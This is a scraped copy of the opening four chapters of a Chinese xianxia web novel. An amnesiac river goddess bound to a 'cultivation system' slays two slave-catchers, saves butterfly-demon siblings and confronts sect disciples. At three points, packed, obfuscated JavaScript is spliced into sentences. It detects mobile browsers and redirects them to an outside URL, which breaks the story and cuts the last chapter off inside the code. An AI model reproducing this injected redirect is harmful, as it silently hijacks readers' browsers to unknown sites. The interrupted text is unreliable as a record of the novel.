《可我是个正经河神诶》 1. 第一章 第一章 月明星稀,银纱般的月色铺满忘川湖面,粼粼波光之下,几抹红鱼一闪而过。周遭听不见一声虫鸣,也不闻一丝风声。 元吉定定地瞧了眼飘在自己面前的一团白灵,杏眸中闪过一抹复杂的神色,随后便毫不犹豫地扭头走人。 “有点丑,不想看。” 听到她内心腹诽的白灵:!!?? “等…等等!元吉!你等等!”白灵慌忙飘到元吉面前挡住她的去路,“你就不好奇……” 话音未落,就瞧见面前的元吉兀得倒退一步,两道细眉微微蹙起。 “会说话……更奇怪了!” 白灵:…… 它深吸一口气,耐着性子,“元吉,你还记得你是谁吗?” 按下转身离去的想法,元吉冷冷地抬起眼眸。黝黑的眸子像是一块藏在雪山深处的寒冰,没有好奇,没有疑惑,更没有丝毫温度。 静默许久,元吉看着面前的白灵,猛地伸手。可谁知,指尖穿过虚无的白雾,并未留下任何的痕迹。 元吉将手收回,并未理会突然离自己很远一脸防备的白灵。她怔怔看着空荡荡的掌心,喃喃一声,“是灵?” “不,我是系统。”白灵确保自己离元吉有一定距离后怯怯开口,“我是河神培养系统,你可以叫我阿统。元吉你现在是这条忘川河的河神,也是我的宿主。” 河神……培养系统? 是什么? 元吉按下心中的疑惑,并不显露出半分。 许是考虑到了元吉现在失去所有的记忆,系统很快便将这件事情的来龙去脉告诉了她。 原来,元吉生前经历了一场浩劫。魂飞魄散之际,残留的的灵魂碎片绑定了河神培养系统。随后便穿到了一本修真小说中。在这本书中,剑修、魔修、鬼修……人人为强者而疯狂。 而书中的主角宣长生作为气运之子,击败本书最大的反派魔修祁琰便成了此世界的最强之人,接受着众人的敬仰膜拜。 元吉将这个故事囫囵听完便抛之脑后。 什么男主什么魔修,没甚意思。元吉更在意另外一件事,她紧紧盯着面前的白灵,道,“阿…阿统,我的、灵魂……碎片怎么、找。” 清洌洌的嗓音带着些生疏,元吉便觉得有些别扭不肯再多说一言。 “这个就需要你完成发布的任务来积攒神力,用神力去共鸣你的灵魂碎片。神力值还能在系统商城兑换很多东西呢。”阿统絮絮叨叨,语气中藏不住的欣慰。“我现在给你发布一个任务看看。” 话音刚落,元吉便听得脑海中响起一道毫无情绪波澜的声音。 【作为河神,自然要保持河流的干净度,快把河流中的垃圾清理掉吧!】 【每日任务:清理河中的垃圾(0/3)】 【奖励:神力值10点】 【任务失败:失去身体的控制权十二个时辰。】 元吉将浮现在面前的金色文字细细读了一遍,目光在惩罚一栏停顿许久。 原来河神就是是负责捡垃圾的啊,如果完不成任务还会有惩罚。 元吉解了自己的困惑,心下便有些抗拒。 阿统怕再听到元吉对自己的吐槽便再没听过她的心,此时毫不知情的它满脸期待地飘到元吉面前。 “元吉,我们快去捡垃圾吧!” 元吉幽幽地看了它一眼,神情复杂似乎想象说些什么,最终还是将到嘴边的话咽了下去。 罢了,她想知道自己是谁。 捡垃圾……应该不是很麻烦吧。 阿统见她不反对,只当她同意了。整个统围着元吉飞了一圈。“这任务挺简单的,把不属于河里的东西捡起来就行了。” “嗯。”元吉翁声应了句,闷头朝着忘川走去。 越接近,周遭的温度便降得越低。不过数十步的距离,元吉的乌发上便覆了一层薄薄的白霜。 长睫颤抖两下,一颗极小的霜花飘到元吉眸中。 有些冷。 元吉不喜欢冷。 突然间,元吉停下脚步警觉扭头看向后方,那里,有什么东西过来了。 另一侧,面容清秀的少年额角的黑色花纹若隐若现,此时的他狼狈不堪,甚至面色惨白虚弱不已。 风毛极好的狐皮大氅被他如同珍宝般紧紧搂在怀中,可上头依旧布满斑驳的血迹和泥泞,黑色的狐毛凝成一缕一缕,时不时夹杂着一两根枯草。 栾郁安抚性地拍了拍大氅,轻声道,“别怕。” 底下传来一道极轻的回应,“嗯。” 栾郁咬紧牙关奋力朝着忘川而来,余光瞥见身后两道黑影不紧不慢地落在后头,像是戏弄猎物的猛兽,享受着追捕的快乐。 他心下暗骂,“可恶,还没甩掉他们。” “咳咳……”寒冷的空气挤入肺部,栾郁岔了气一时不妨,脚下一个踉跄从高处跌进河中。冰冷的水倒灌进鼻腔,周遭的水像是生了智一般死死扼住了他的身躯。 “救命……咕噜…救……”栾郁试图呼救,却被灌了一嘴的河水。早已精疲力尽的他只得拼尽全力将怀中的大氅递出水面,然只是徒劳。 涔涔涟漪,水波漾漾,像是有千万只无形的手,不断地将栾郁拖向深渊。 他绝望地闭上眼。 无人能救他。 * “元吉!” 巨大的落水声吓得阿统一抖,整个一团白灵十分柔弱地猫在元吉身后,神情紧张地盯着声音来源之处。 元吉瞧着它,沉默半晌。“……” 阿统察觉到元吉的视线,呆滞一瞬后欲盖弥彰地轻咳一声,“元吉,好像有人掉到河里去了。我们要不要去把人捞起来啊?” 元吉闻言目光沉沉,若有所思。 “垃圾。” 飘在半空的阿统闻言一滞,惊愕地看着元吉不敢相信它的宿主是这样一个如此“友善”之人。 “元……元吉?” 元吉睨了它一眼,言简意赅。“不是河里的,垃圾。捡垃圾。” “哈,是这个垃圾啊。”阿统讪笑一声,放下心来。 它就说自己的宿主不可能是这样的。 “元吉,可不能对着人喊垃圾,别人会以为你在……”挑衅的。 话音未落,只听得不远处一阵嘈杂的步伐,径直从灌木丛里头走出两名身材魁梧,满脸络腮胡的中年男子。 “呦,老三今天咱们这是要发财了。抓到个半妖还能再捡个漂亮的女娃子。” 范小六将目光从河水中栾郁那隐约可见的身影上收回,他摩挲了下下巴,一双三角眼微微眯起,不怀好意地上下打量着元吉,像是在瞧一件难得的商品。 他口中的范老三笑了声,手掌拂过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078511|163433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰间的长刀。“半妖的根骨就能让咱们兄弟俩发一笔财,更不要说这小女娃,不知道会有多少仙人老爷出价。” 面前的女娃并不高挑,身形格外的纤瘦,一头乌发随意地散在身后,在月牙色长衫上如同绸缎般富有光泽。 她抬起眸子,眼底像是一汪深湖,平静而无波澜。 尚未长开的模样,光是一眼,便让范老三有些挪不开眼。 这个发现让他格外兴奋。这么些年他见过的漂亮女娃少说也有上千个,却没一个能让他如此出神。 他扯着嘴角,试图摆出个和善的表情哄骗道。 “小女娃,你叫啥名,跟我们哥俩走,吃香的喝辣的随你挑。” 两人边说边往元吉这边走来,满脸的势在必得。 “元吉,这两个人看起来不太和善,我们要不要避一避?”阿统瞥见闪着寒光的长刀,有些担忧。它鼓起勇气绕到元吉面前,试图用它的躯体挡住元吉。 元吉刚觉醒河神系统,没半点神力,可以说是手无缚鸡之力。对上这两个人可谓是一根柔嫩的小芽碰到坚硬的巨石。 这可如何是好! 元吉立在原地,轻抬眼眸,目光落在这两人踩在水中的靴子上。 朴素的黑布鞋沾着泥巴灰尘和草根,隐隐还能嗅到腥臭的铁锈味。踩在冷冽的河水中,漾出一层颜色诡异的黑水。 元吉眉间微蹙,阿统顿感不妙。 下一刻,清洌洌的嗓音无比清晰的吐出两个字。 “垃圾。” 阿统:!!! 整个统顿时炸成一团,慌乱地飞来飞去,像是个泄了气的球在空中乱窜。 元吉对着面前两人暴躁的模样视若无睹,心中倒是有个疑惑。“你,他们,看不见?” “唔。”阿统被迫收起焦虑,耐心回答,“只有元吉能看见阿统,听见阿统说话。若是元吉想和我说话,可以像这样通过意识沟通呢。” 有些意思。 元吉轻挑眉,眸光重新落回到面前二人身上。长睫微阖,掩去底下的嫌恶。 垃圾,好脏。 “呵。”范老三和范小六敛去脸上的笑意,“小女娃怕是年纪小不知天高地厚,哥哥我呢也不是斤斤计较的人。你乖乖顺了我们,也不是不能让你活久一点。” 黑色的靴子踩着水,一圈又一圈的黑水晕出。拖在身后的长刀滑破水面,无声地映射出范老三眼底的凶狠。 “元吉,这可怎么办?要不我们赶紧去河里捡点什么东西上来完成任务拿到神力吧。” 阿统急得胡言乱语,试图在系统商城中翻找出些有用能帮得上忙的东西来。 元吉打了个哈欠,定定看了会慌手忙脚的阿统,不太能理解为什么要舍近求远。 垃圾?面前这两人不就是吗? 元吉偏头动了动有些僵硬的指尖,一道几不可查的白光绕着她的手转动着。 下一刻,白光牵动忘川河中的水流,化为利刃。 “哗!” 长刀跌进水中,迅速被水流吞没。 不过一息,范小六怔怔看着原先立在自己身侧的范老三被一支白刃穿破头颅订在身后的崖壁上,死状凄惨。 两股战战,垂在身侧的手不由得颤抖起来,像是被人掐着喉咙艰难挤出几道破碎的音。 “救……” “救命!” 2. 第二章 第二章 【每日任务:清理河中的垃圾(1/3)】 元吉看着飘在面漆的提示框,嘴角掠起一道微不可查的弧度。 “一个。” “元吉,那个人怎么飞出去了!”阿统傻乎乎地张大嘴巴,呆愣愣地问了句。 眼底闪过一丝狐疑,元吉不动神色地收起指尖的白光,目光在阿统身上停留一瞬。“可能他觉得这样比较刺激。” 阿统不明就以,“嗨呀,吓死我了,差点以为要来不及呢。” “你瞧,这是我从商城偷……商城里借出来的反噬镯,一切攻击都能够反弹回去。虽然是一次性的,但是应该也够用了吧。” 莹润透亮的玉镯出现在元吉面前,她伸手接过,预想中的冰冷却没出现。 玉镯温润,缓解了因寒气带来的烦躁,元吉稍稍舒展了眉梢,一时间望向范小六的眸子也没先前那般嫌恶。 “仙……仙师饶命!”范小六敏锐地察觉元吉的变化,怔神一瞬后便像是抓到了救命稻草立马跪下,眼珠子疯狂转动,试图想找出个逃生的法子。 “未曾想到冲撞了仙师,小的愿意将那个半妖献给仙师,还望仙师能饶小的一命。” 言罢,范小六重重在地上磕了一个头。衣衫被河水沾湿,上头干涸的血渍逐渐晕开,一股腥臭味隐隐飘动。 “噫。这人可真不爱干净。” 阿统捂着鼻子,嫌弃一声。 它围着范小六转了一圈,随后便被他这幅能屈能伸的样子所惊叹。“这人莫不是练了什么铁头功?居然眉毛都不动一下。那元吉,我们要不要放过他啊?” 元吉瞧了它一眼,有些莫名,“为什么?” 这垃圾还没清理掉,自己的任务还没完成。若是放过了他,那就意味着要自己下水去捡垃圾了。 元吉幽幽地看了眼冒着寒气,将那团飘杂着污秽吞噬的河中漩涡,内心的抗拒明晃晃地表现在了脸上。 不去,不想,不可能。 “可是。”阿统有些迷惑地回想着系统对元吉的要求,“可是,神爱世人。元吉你现在是河神,也是神啊。而且这是你的河!河被污染你的神力也会有影响的!” 元吉:……? 阿统坚持,“这是系统要求,要做到的!” “哦。”在阿统期待的目光中,元吉冷漠点头表示知道了。 啧,当个河神真麻烦。 元吉撇嘴,眸光在瑟瑟发抖的范小六和水中几乎没了气息的栾郁之间徘徊一圈,毅然将目光锁定在范小六身上。 但是河神不需要爱垃圾。 指尖勾动,先前的白光若隐若现。 殊不知跪在地上的范小六抓住元吉走神的这一瞬,伸手从怀中掏出一张符箓朝元吉扔去。 这是他先前花了大价钱从一个元婴期的修士那边请来保命的。只需要一丝灵气点破,就能释放一次元婴期修士的一击。 他现在虽然已经是金丹期。可面前的这个看起来毫无修为的女娃竟然能不动声色杀了老三,他不得不防备起来。 只是用在这个时候,可惜了。 “元吉!小心!!” “轰。” 巨大的爆破声如平地惊雷般炸起,河水被一股无形的气掀到远处。尘土飞扬,一时让人看不清面前的景象。 范小六轻咳两声轻蔑一笑,起身擦去额角的水渍。“嗤,真是浪费我一张符……呃……” “呃……怎么,怎么回事。” 巨大的力量将他击飞出去,直到撞到崖壁上才堪堪停下。 范小六闷哼一声,呕出一口鲜血,强烈的刺痛感从胸腔传来。他呆滞低头瞧去,却见一道贯穿整个胸腔的伤口,鲜血汩汩往外涌着。 那道攻击居然反弹了回来! “你……你究竟是谁?怎么会……” 只是他没能听到答案,眼中的神采便黯淡了下去。 “哇。”阿统回神,气急败坏,“这人刚才在骗我们!他怎么这样!还好我们有反噬镯。” 元吉点头,掌心的玉环碎成几截。温热的触感消失殆散,不多时就连半丝玉质的影子都瞧不见了。 指尖颤抖两下,像是在抓住最后的一丝温暖。元吉拢了拢垂在胸前的乌发,抬眸时眼底的寒意又比先前多了几分。 “嗯。” 元吉瞧了眼远处瞪着眼没了气息的范小六,眼前很快便响起了系统的提示。 【每日任务:清理河中的垃圾(2/3)】 两个。 元吉偏头,她抿了抿嘴角,眼底的神色暗了几分。 第三个。 元吉向前一步,白净的鞋面立马被空气中的水气晕湿凝出一层薄薄的霜花。 离忘川越近,这周遭的气温便越低。 元吉不喜欢冷。 她眉间微蹙带了些思绪,不能污染河? 半晌,她轻抬指尖,在空中点了两下。先前的白光再次出现,速度极快却少了几分杀气。 “哗!” 白光一入水,那传闻中人人惊恐能吃人的忘川水便自然卸了力,不再紧紧缠着栾郁。任由它勾住衣襟将陷入昏迷的栾郁从水中提溜起来,甚至还颇为贴心地在下拖着,生怕它累着半分。 若是水能成型,此时怕不是挂上了一副谄媚讨好的模样。 白光提着栾郁毫不怜惜地甩到元吉面前,“噗”的一声,溅起半人高的水气。 元吉冷冷瞧了它一眼,后者顿时一滞,蔫着头小心翼翼蹭了蹭她的指尖溜了回去。 呵,不知从哪学的。 元吉也不愿同它多计较,此时她的眼前再次出现了系统提示。 【每日任务:清理河中的垃圾(3/3)】 【恭喜宿主完成每日任务,获得10点神力值。当前宿主神力值为10。】 原来只要离开水就算成功了。元吉投向忘川河的目光沉了两分。 冰冷的机械音刚落下,阿统才堪堪从呆滞的状态下回过神来。它瞧瞧地上的栾郁,又瞧瞧宿主元吉,整个统有些迷糊。 这是发生了什么?这个人怎么自己从水里飞出来了?还倒在这? 突然,它兀得瞪大眼睛,想到了什么。 难不成,难不成这就是传说中碰瓷! 果然人心险恶! “元吉,我们离这个人远点!” 大抵是它语气中的防备太过明显,元吉挑眉,话语间带了些打趣。“爱世人?” “……”阿统憋着一口气,假装没听见这话拉着元吉走远两步,“元吉,任务完成你现在有十点神力值可以开启商城了兑换东西了,是否开启商城?” 元吉眸光闪动,垂在身侧的指尖勾动,上头还残留着先前的温度。 “开。” 话音落下,一道透明的屏幕在她眼前迅速展开。上头密密麻麻摆放着各类道具。 “只要神力值够就可以选择自己想要的东西啦!”阿统在侧小声介绍。 元吉视线快递从上头的密法、道具、符箓……上掠过,停留在了一枚小小的种子上。 【火种:一枚不管在什么地方都能够随时燃烧起来的种子,随着神力的提升,其火焰威力也能够不断增强……】 而很巧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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早已没了呼吸的栾郁竟然匍匐在地上,微微地咳嗽一声。新鲜湿冷的空气涌入胸腔,激得他又是一阵惊天动地的咳嗽,不得不让人怀疑会不会再次没了呼吸。 元吉脸上的神情并未发生变化,她抬指揪住吓呆了的阿统握在掌中,凌厉地目光径直扫向那件狐皮大氅。 那个东西藏下面。 “出来吧。”没有波澜的话音,如同这忘川河岸冰冷的空气,让人一颤。 只见那狐皮大氅微微一抖,竟然从中探出个浑圆的脑袋来,上头还十分俏皮的扎着两朵绯色绢花。 阿统结结巴巴:“元吉有女……女鬼?!” “是妖。”元吉打量一番,从上头感受到了一淡淡的妖气,怪不得方才那两人一直追着他们。 “你不是坏人。”稚声稚气的话语偏装着一副老成干练的模样,栾萱从大氅中爬出来,身量不大,像是个小萝卜头。“谢谢你,救了我和哥哥。” 元吉收回目光,并不想收下这声谢,她只是捡垃圾,可没什么救人的癖好。她直白了当,“不必。没救你们。” 栾萱抿着嘴咽下喉间的惊呼,眸光却变得十分炙热起来。她垂下头,脸上闪过一丝羞赧。“我看过我娘的话本。” 元吉:? 栾萱继续道: “救命之恩,无以为报。” “我就把我和哥哥送给你了。” 元吉:……? 阿统瞬间暴跳如雷。 它就知道,这人就是来碰瓷的! 3. 第三章 第三章 “以后我和我哥哥就是你的人了。” 栾萱双手托着两颊,低着头小心翼翼地偷瞄元吉。对上元吉若有所思的视线,她立马掩下自己的小心思,好似是怕元吉后悔补充道。 “我哥哥最善舞蹈,好多人都为了看哥哥一舞而掷千金。你想要看哥哥跳舞也可以哦~” 水润润的眸子,瞧起来是那般惹人怜爱。 阿统飘在元吉的肩头,小声嘀咕一句,“元吉,我怎么感觉有些怪怪的。” “嗯。”元吉轻笑一声,并未把栾萱的小心思放在眼中。她抬手,指尖一亮先前的火种立即迸溅出炙热的光芒,如张牙舞爪地猛兽出笼,恨不得撕碎一切。 “咔嚓”一声,凝在空中的水汽兀得一滞,像是有什么东西破碎了。 栾萱神情当即一变,整个人后退一步脸上的“狂热”也尽数消去,语气防备,“你究竟是谁?” 元吉摊手,轻笑一声,“河神。” “河神?”栾萱心下默念一声,这个称呼有些遥远,她只能从传承记忆中依稀搜寻到些痕迹。“我,我可厉害了!你休想欺负我们!” 色厉内荏。 元吉心下觉得好笑。 “这些都是小把戏。”她捻起一片晶蓝色的玉片,在转动间折射出炫目的光彩。像极了她曾经抓过的蝴蝶的翅膀…… 元吉一怔,魂海中的某处封印竟有些松动,只可惜被她发现后被浓雾又快速藏匿起来,再也找不到踪迹。 元吉尝试追捕无果后,注意力又回到面前的小女孩身上。 漂亮但是致命,有趣。 “你是蝶妖吧。”元吉将手中的玉片拋回到栾萱手中,在对方不敢置信防备的目光下,慢悠悠道,“我对你和他没兴趣,你们走吧。” 手中的玉片上沾染着元吉清冷的气息,却不冻手。栾萱低着头,让人看不清眼底的神情。 元吉对冷冰冰和的玉片可没什么想法,转身朝着远处的村落走去,按照任务去搜集自己的信徒,也不知道哪里的人好不好骗……额,好不好忽悠。 栾萱还是头次遇到像她这样的人,居然就这样轻易地将他们蝶族的幻境玉衡还了回来,这可是她们蝶族最让人垂涎的宝贝,这和她之前遇到的人全然不同。 她咬了咬下唇,又看着地上虚弱至极的栾郁,终是下了决定。 “等等。你等等。” 元吉并未停下脚步。 栾萱看着她的背影,又看看地上的哥哥,一咬牙一跺脚拎着栾郁的衣襟拖着追了上去,在身后留下一道长长的断断续续的划痕。 全然没了之前弱小可怜的模样。 被颠簸颠醒的栾郁:? “萱儿。” 栾萱追逐的脚步一顿,旋即又快速拖着他往前跑,边跑边解释。“哥哥,刚才追杀我们的那两人被前面那个自称是河神的人杀了。她还把我们两个从水里捞起来了。” “我得跑快点,不然就追不上了。哥哥你要是缓过来就和我一起追,我们现在速度太慢了。” “什么?”栾郁被她拉了个趔趄,“你说是她把我们从水里捞起来的?我们为什么要追她?” 不怪他如此惊讶,方才那水沉得很,即便是他驱动全身的灵气想要挣脱,都像是落入了一个无底洞,没有任何反应。 栾萱边跑边把刚才发生的事一五一十地说了一遍,着重强调这人一下子就破了自己的幻境,看起来特别厉害这事。 栾郁的目光落在前面的人影上,纤瘦的身形倒是看不出有那么大的能力,只是那人的周身环绕着一层看不透的气,不知她现在是何修为。 一路上景色变换几许,从遮天蔽日的巨树到半人高的灌木丛,即便空气中的水汽依旧浓郁,眼前却开阔了许多。 阿统总算是开始发挥自己的作用,借着系统的功能给元吉带路。 “元吉再往前走百米,他就在那个地方了。”阿统信誓旦旦,试图这样找回自己作为系统的自尊。 元吉看了眼身后两个鬼鬼祟祟的身形:“嗯。” 不多时,面前还真出现了一个衣衫褴褛的大汉,正靠着身后的大树掩面痛苦。令人诧异的是,他的左手上缠绕着极粗的一条铁链。 稍稍一动便发出铁器碰撞的响声。 周遭荒芜人烟,压抑的哭声从掌心传出,像是怕惊扰到什么似的。 大汉的泪水糊了一脸,听到元吉靠近的脚步,猛地抬起头来,一双血红的眼睛死死盯着后者,像是发了狂的野狼。 “小女娃,这不是你该来的地方。”嘶哑的声音从喉间挤出,“回去吧,这里不安全。” 元吉感受着面前这人的颓丧,偏头像是在听什么。 窸窸窣窣。 重物踩踏枯草,淤泥向下深陷。 “嗬嗬。”带着血腥味的粗气重重出现,打破了这份宁静。 一个身形奇怪不知是人是兽的怪物从树后探出头来,它的脸上长满了长毛遮住了五官,只留下一双泛着红光的兽眼和喘着粗气的腥臭嘴巴。 腰上的锁链绕成一圈,向前链接直到那名大汉的手上。 “嗬嗬。”那怪物一步步走向元吉,身形越来越低,下一瞬就像是要扑过来撕咬她的喉咙。 “你走吧,我就当没见过你。”大汉佝偻起身,摆摆手。 躲在远处的栾郁和栾萱,看清那个怪物的模样后皆是捂着嘴。栾萱探头,“哥,那是不是前段时间传闻中吃了很多人的妖怪?它怎么出现在这?” 栾郁一面按着栾萱的头让她别说话,一面拿出幻境玉衡,若是必要他便只能用它了。 “魔气侵染。”元吉立在原地,只一眼就看出了缘故。对面的大汉身形一怔,听到她这话,当即便瞪了过来,语气低沉。 “你知道什么?”他这般说着,脸上的神情越发的狠厉起来。还挂着涕泪的脸颊抽动一番,“你和那群人是一伙的?” 阿统有些害怕了,怯怯地扒在元吉的肩头,“元吉,这个人可能不太适合作为目标,我们,我们换一个吧。” “那就留不得你了。”大汉拍了拍那怪物的头。“宝儿,去吧。” 下一瞬,怪物拔地而起,张着血盆大口朝元吉扑来。 栾郁一口气不敢出,捏着玉片的手隐隐泛白,他深吸一口气,下定决心。 “噌!” 剑鸣声划破长空,直奔怪物的头颅。 剑光凌厉,名为宝儿的怪物反应再快,也被剑气所伤,汩汩的污血从伤口涌出。它惨叫一声缩成一团,在大汉目眦欲裂的担忧中,它忽得一顿,再次抬起头来冲着飞剑的方向“嗬嗬”两声。 青色的长剑发出“嗡嗡”的剑鸣,似是警告,又似是迎战准备。 “宝儿!小心!”大汉快步上前,挡在两者之间心疼地掏出一块褐色的帕子给宝儿止血。褐色的帕子一瞬间又深了许多。 他抬头看着上空的青剑,又看看风轻云淡的元吉,没好气地啐了一口。 “呸!你们这 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八张符箓一瞬间便将宝儿、大汉和元吉围了个水泄不通。金色的屏障应声而起,上头雷电密布,一旦碰到必定是皮焦肉绽。 这可是天极宫的秘法杀阵,即便是元婴期的修士想要破阵也的脱一层皮。 大汉自然也是知道的,他怔神一瞬,紧紧牵过宝儿的手,眼角一时有些湿润。 林朗星目光扫过追了小半个月的大汉和妖怪,没想到这次居然还多了个人。 狭长的眼眸上下打量了元吉一番,又伸手一掐。后侧的师弟东方华小声提醒,“林师兄,这人身上带着妖气,怕不是他们的同伙,不如……” 他用手指着元吉,而后做了个切菜的动作,林朗星便明白了,眼神一暗。 正欲催动阵法,头顶上的青剑便毫不客气地一人拍了一剑,直接将人给按进了土中。 “唔!”几人闷哼一声,不解地抬头。而阵法之内的大汉应声一笑,语气嘲弄,“天极宫不过如此。” “怎么回事?”那几人瞪着老汉,而后抬头看着散发着不虞气息的青剑,一时摸不着头脑。“大师兄生什么气?” 元吉瞧着面前乱哄哄的几人,拧着眉冷声,“聒噪。” 声音不大,却带着股骇人心魄的威慑力。众人静默一瞬,竟都被唬住了。 好半晌,东方华回过神来,梗着脖子指着元吉怒喝,“你个妖物,居然如此不敬我们,怕不是活腻了!” 耍威风的话才刚说完,东方华惨叫一声,那手指便像是被蛮力掰过,以一种扭曲的姿势立在那。 “我不喜欢别人用手指着我。”元吉语气平平,阿统却感受到了她的心情不悦,一时也不敢说话。 东方华咧嘴吸气,“你是什么东西,也配?也不看看老子可是天极宫的弟子。” “天极宫?”元吉念叨一声,望向大汉“很厉害吗?” 大汉默默回复,“不过是垃圾。” “你!”东方华像是受了奇耻大辱,正欲催动阵法,却见面前那女娃轻轻一笑,不祥地预感涌上心头。 一下瞬,金色的阵法尽数破碎,散做无数金光消散于空中。 在众人惊讶的目光中,元吉缓缓向他走来蹲下身与他齐视,指尖勾动,白光一闪而现。 “记住了。” “我是河神。” 4. 第四章 第四章 河神? “居然敢大言不惭地称神,真是可笑。” 东方华脸色惨白,豆大的汗珠从额角滚落。比起害怕,此时羞愤占据更多的心绪。 “师弟!!禁言!” 林朗星出口阻止他,他虽同东方华一般心中不屑,但还是稍作遮掩没表现出来。 回想着这人一下子就破了他们的阵法,林朗星心下一惊。 衡量一番后,他正了正神色,站到东方华面前对着元吉施施然行了个礼。 “恳请前辈手下留情,原谅我这师弟的鲁莽。” “晚辈三人一路追这两害人的妖,他们妖言惑众心狠手辣,一路过了三个村庄,竟将那三处无辜百姓尽数杀害。” “晚辈几人好不容易追到了,因而过于高兴失礼了。恳请前辈将这两害人的妖让晚辈抓起来,晚辈感激不尽,日后定上门道谢。” 一番话说得冠冕堂皇,让人找不出任何的错处来。 “呸!”一旁的大汉看出这几人同元吉不是一伙。对着这几人啐了一口,虽未开口辱骂,却异常仇恨地瞪着。眼底的怒火犹如千万把长刀恨不能将他们千刀万剐。 “我只是带着宝儿去看病,你们这群道貌岸然的修士不分青红皂白就对我和宝儿喊打喊杀。这会又想将什么屎盆子扣我们头上来。” 大汉气得不行,说着伸手往怀中一掏。一个附着着可怖气息的小瓷瓶顿时出现。大汉的身躯当即被黑气覆盖,周遭的空气像是被炭火炙烤过一般,烫得很。 这是那个人给自己的,当初这人告诉自己,这里头装着的东西足够让自己成为人人惊惧的魔物,就像宝儿一样。 原先他一直收着,即便是被人追杀奄奄一息也从未动过要用的念头。可三番两次被这群伪君子污蔑他也累了,不如就趁了他们说的,就陪他的宝儿做个魔物! “拿命来!” 在场几人脸色一变,快速后退一步,拿着自己的本命武器来防御。“布阵!” 头顶的青剑伴随着杀意发出嗡嗡的剑鸣。 正这时,阿统盯着那团魔气,语气带着些兴奋,“元吉,那里有个好东西。” 元吉:“哦?” 阿统示意元吉,“那个瓶子里虽然有很多的魔气,但是也藏着一丝生机。如此纯粹的生机也是少见的!” 元吉若有所思,伸出手去,大汉手中的瓶子立马便飞到了她掌中。 白皙纤瘦的指节被泄露的魔气缠绕着,白与黑的交织间,黑气贪婪吞噬,整只手不多时就被魔气所包裹。 林朗星脸色一变,本就不多的恭敬顿时消弭,压低了嗓音似是威胁。 “前辈还是快快将手中的东西放下,否则别怪晚辈不客气。” 这人怕也是个歪心思的修士! 话音刚落,头顶的青剑应声而下。出乎意料的是它没对着元吉,反倒再次冲着林朗星三人去。 “哎呦!” 林朗星哀嚎一声捂着额头的大包,心中忍不住嘀咕。 “这青剑是大师兄本命武器的分|身,与大师兄意念相通。也不知道今日大师兄这是怎么了?莫不是被这‘前辈’迷惑了?不,不可能!” 他猛得甩甩头将这可怖的想法丢出脑袋,不可能的。 谁人不知天极宫大弟子祁琰一身清风傲骨超脱俗尘,绝不可能被美色迷惑。 只是……林朗星看着元吉咽了口唾沫,脑海中闪过一个大不敬的想法。 罪过罪过。 林朗星赶紧住脑,深怕再多想一会头上再挨一剑。 “我还以为你和他们有所不同,原来都一样!” 大汉话音中带着些颤抖,没了那瓶子他连和他们拼都没能力,只能看着宝儿一人受伤。 宝儿扭头看看大汉,又扭头看看面前的人,漆黑的眼眸呆滞一瞬后红光一闪,周身的魔气暴涨,无数的黑气像是黑蛇一般匍匐在地。 “宝儿,来。”大汉放缓了嗓音,动作轻柔地从怀中掏出一根青色的发带,“本来想等你病好了再给你系上。”现在怕是来不及了。 发带将宝儿面上的长毛束起,虽那样子滑稽可笑,却也将它本来的面目暴露无遗。 魔气覆盖下,有什么东西在翻涌。 “天呐,好恶心!”躲在草丛里的栾萱捂住嘴,生怕自己吐出来。 几人相对而立,剑拔弩张,空气逐渐变得焦灼起来,只需一丝响动,一场恶战无可避免。 “不急。” 元吉把玩着手中的瓶子,暗中将火种从指尖放了出去。 本就缺少能量的火种一接触到大量纯粹的魔气,兴奋地在里头打着滚,恨不得一手搂着一堆紧紧不肯放开。 要不是还惦记着元吉的任务,它必能一口吞下。 火种随意扒拉住那抹生机,而后恋恋不舍地瞅着那团魔气。 在众人目光下,原先还吞噬着元吉指尖的魔气尽数褪去,就连一丝痕迹都未曾留下。 元吉依旧好端端地立在那,甚至还颇为无聊的打了个哈欠。 众人:…… 我们似乎不在一个世界。 东方华最先按耐不住性子,脱口而出,“师兄,魔气不见了!” “嗯。”林朗星应了一声,心中想得比东方华多的多。 他从未听说过,能有人将魔气吸收殆尽。若是有人能这样做,他们也不必到处追杀被魔气侵染的人。 除非,这人是魔,是那个始作俑者?! 捶在衣袖中的手当即捏碎一张符箓,相信不消一炷香时间便有附近同门师兄弟前来相助。 “它,它消失了!” 草丛中的栾郁兀得瞪大眼,与栾萱面面相觑间皆是不敢置信。“这人修为深不可测。” 大汉脚下一个趔趄,呆愣楞地盯着元吉的手,脸上像是哭又像是笑。 旁侧的宝儿不明所以“嗬嗬”一声,依旧一脸警惕地盯着几人,指尖长长的黑指甲黑得像是淬了毒。 “嗯。”元吉点头。“不过是点魔气,这么害怕作甚。” 掌心的火种乖巧地蹭了蹭她的指尖便回到她体内,余温驱散了寒意这也让元吉的心情好了不少。 她抬起眼眸,将手中的那个装有生机的瓶子抛回到大汉的怀中。后者立马不敢置信地将瓶子翻来覆去检查一遍。 确认里头没有残留一丝魔气后,大汉的呼吸重了起来,望向元吉的视线也逐渐变得炙热。 “你究竟是谁?怎么能这么轻松就把魔气给消除了?”那是不是也可以治好宝儿的病? 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 